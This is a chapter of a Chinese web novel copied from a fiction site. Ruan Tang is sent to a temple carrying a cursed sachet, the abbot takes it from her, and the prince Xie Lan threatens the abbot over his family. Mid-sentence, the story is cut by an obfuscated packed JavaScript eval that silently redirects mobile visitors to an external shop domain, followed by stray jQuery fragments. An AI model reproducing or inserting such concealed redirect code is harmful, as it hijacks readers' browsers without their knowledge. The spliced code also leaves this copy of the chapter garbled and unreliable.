文趣网 > 其他小说 > 招惹反派后(重生) > 12. 永安禅寺
    “小姐,芋圆牛乳茶煮好了。”

    阿荞的声音自院外传来,阮棠蓦然回头,方才伫立眼前的疏冷安静的身影早已杳无踪迹。

    晚风轻轻拂过庭院,空荡荡的木架上,那架秋千兀自轻轻晃悠。

    走了?

    阮棠心底暗自疑惑,谢澜今日前来,究竟想做什么?

    疯子的心思向来无从揣测,她思索半晌寻不到头绪,索性抛诸脑后。

    入夜。

    几乎从未踏入过她这小院的阮观衡,今夜骤然到访。阮棠静静立在原地,浑身都透着局促不自在。

    “灵台同我说,邀你陪她一同前往永安禅寺上香祈福。”阮观衡端坐椅上,开口字字冷硬。

    “你回绝了?”

    “我近日染了风寒,怕途中有所不便。”

    阮观衡余光都未曾分给站立的阮棠半分,拿出一物:“此香囊收好,去禅寺那日务必带在身上。”

    阮棠唇瓣微动,本想再推拒两句。

    可抬眼一瞬,阮观衡不容置喙地威压:“你向来乖巧,不要让我失望。”

    阮棠垂眸,纤长的手指轻轻攥着衣摆。

    母亲在时,便叫她万事安分,学着温顺乖巧。唯有这样,才能分得父亲一丝微薄的怜惜,叫嫡母无从挑刺,母女二人方能在侯府夹缝里安稳度日。

    母亲一生温柔恭顺,事事以父亲为先,到最后却落得莫名自绝的下场。

    阮棠低低垂首,掩去眼底情绪,顺从点头。

    -

    永安禅寺,御院区西侧副殿。

    古樟遮蔽天光,殿内香火轻萦,梵音低低回荡。

    阮棠跪在蒲团之上,耳边住持诵念心经,她的心神却全然落在怀中那只香囊之上。

    上回似乎见嫡姐也佩戴过一枚香囊。可直觉告诉她,自己这一枚定然和阮灵台的不一样。香囊贴着衣料,一股莫名的滞闷感萦绕周身,叫她浑身不适。

    她悄悄抬眼扫过殿中众人,恰在这时,住持诵念完毕。

    阮棠心头一喜,起身正要偷着离开,却被主持出声唤住:“这位姑娘,请留步。”

    满堂视线顷刻落向她。

    阮棠身子一顿,迟疑地指了指自己?

    得到肯定的回答,阮棠双手轻叠于身前,身姿款款,缓步上前。

    路过谢昭垣身边,似是为她解围,淡笑问道:“不知住持所为何事?”

    “贫僧见姑娘心不在焉,心事郁结,愿为姑娘解惑。”

    阮棠默然。

    这不明摆着说她礼佛走神嘛。

    谢昭垣没能忍住,低笑一声,看向秦安:“如此,那夫人,我们先去取个祈福木牌,莫要打扰大师解惑。”

    廊檐绵延,悬挂着密密麻麻的浅棕木牌。

    山风徐来,木牌相叩,细碎声响糅在漫溢的檀香之中。

    “此生唯一幸得夫人,”谢昭垣声线清润悦耳,目光落于秦安身上,满目缱绻,仿佛世间只剩她一人。

    秦安弯眸浅笑,看着谢昭垣将木牌系上,她也提笔落下八字:苍生无虞,山河永定。

    “夫君乃是储君,心怀天下,怎可拘泥儿女情长,这祈愿,我替夫君写了。”

    谢昭垣似是怔愣片刻,随即伸手将人揽入怀中,轻轻一吻落在她的额间。

    日光倾泻而下,端方君子配贤淑佳人,一派璧人景致。

    谢澜微微眯起眼眸,唇角缓缓勾起一抹毫无暖意的弧度,一人虚情假意,一人暗藏算计。

    当真无趣。

    他后退步子,悄无声息转身。

    —

    众人相继动身走远,殿内人声渐歇,空旷的祈福副殿,独独余下阮棠。她面上带着几分窘迫,正思忖该如何辩解,便听住持缓缓开口:

    “施主,是有机缘之人。”

    阮棠眼睛倏地睁圆:“住持莫非知晓些什么?”

    她自怀中取出缚灵符,正要递上前。住持却闭起双目,侧身避开,轻声诵佛:“阿弥陀佛,天道玄机不可轻泄,老衲亦无从预知后事。”

    阮棠心头掠过一丝失望。

    心底暗自嘀咕,该不会又是一半吊子的神棍罢。

    住持再度睁眼,便见阮棠一脸纠结为难的神色:“师父,我并无香火钱用以消灾解难。”

    不由苦笑:“姑娘误会了。”

    “众生皆陷苦海,只望姑娘常怀慈悲,拯救万民。”

    阮棠听言,心中越发笃定,但也顺着他答:“小女定会多做善事。”但是香火钱想都别想。

    女子眼尾稍扬,万般心思尽落眸光,不难猜出心中所想,住持摇头微微一笑,颔首间目光无意间扫到她腰间香囊,眉目一拧:“姑娘腰间这香囊,乃是损人寿元之物。”

    阮棠早就觉得这香囊令人不适,连将其摘下,抬手便想丢远远的。

    可阮观衡这般在乎这香囊,她想起上次回府时听到的争吵。嫡姐身后尚有嫡母撑腰,尚且免不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893055|212794||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一顿苛责,倘若香囊由她弄丢……

    她的动作顿住,微微吐气。正迟疑不定,住持适时开口:“姑娘若是不知如何处置,不妨交予贫僧。”

    ……

    阿荞在殿外等着,见阮棠出来,她连将手中的纸条藏起。

    上前询问:“小姐,听闻永安禅寺的芍药开得极好,姑娘要去看看吗?”

    阮棠心头还盘旋着住持方才那番话语。

    她素来厌烦这般话只说一半,悬着人思绪的说辞。

    拯救万民?

    凭她?

    阮棠目光瞥向一侧的功德箱,转头低声问阿荞:“我们身上还有银钱吗?”

    阿荞点头从袖里拿出随身布袋,打开里头躺着几小块碎银,零散铜板散落其间。

    阮棠粉唇微撅,从中拣出三枚铜板。

    住持帮她妥善处置了那只阴邪香囊,于情于理,理应添些香火。她深吸一口气,狠下心,抬手将一枚铜板投入箱中。

    “叮”一声轻响在寂静殿内格外清晰。

    ……

    阮棠默默收回余下两枚铜板,又揣回腰带中。

    了了此时,阮棠想到太子方才所言,他们去了祈福长廊。略一思忖,开口道:“走,我们去看看芍药。”并未留意到身侧阿荞眉宇间藏着的惴惴不安。

    阮棠将将离开,殿内,住持恭敬朝着一处阴影弯身。

    “二殿下既然来了,何不现身一见。”

    “秦寻,当朝太师胞弟,太子妃的叔父,如今青灯伴佛,当了这永安禅寺的住持?”

    空旷大殿之中,谢澜斜倚在佛像供台之上,手上的一柄染血短刃扎进香灰里。他抬眼:“我很好奇,当年究竟发生了什么。”

    “二殿下所言,贫僧听不懂。”住持垂着眼,不动声色。

    谢澜幽沉眸底掠过一缕暗色,低低重复:“听不懂?”

    “东平县。”

    他缓缓吐出三个字,住持原本阖着的双眼骤然睁大,神色惊变。

    “你……”

    “你将妻女安置在此避祸。昨日,令爱方才定下良缘。”

    谢澜径直打断他,唇上漫不经心地浮现笑意:“大师已是出世高僧,怎还困于俗世牵挂?若是难以释怀,不如我出手,帮你了结这份牵绊?”

    “孽障!”住持厉声怒斥。

    谢澜修长指节竖在唇边,轻嘘一声。

    “佛祖座前,大师当心,莫要生出嗔念。”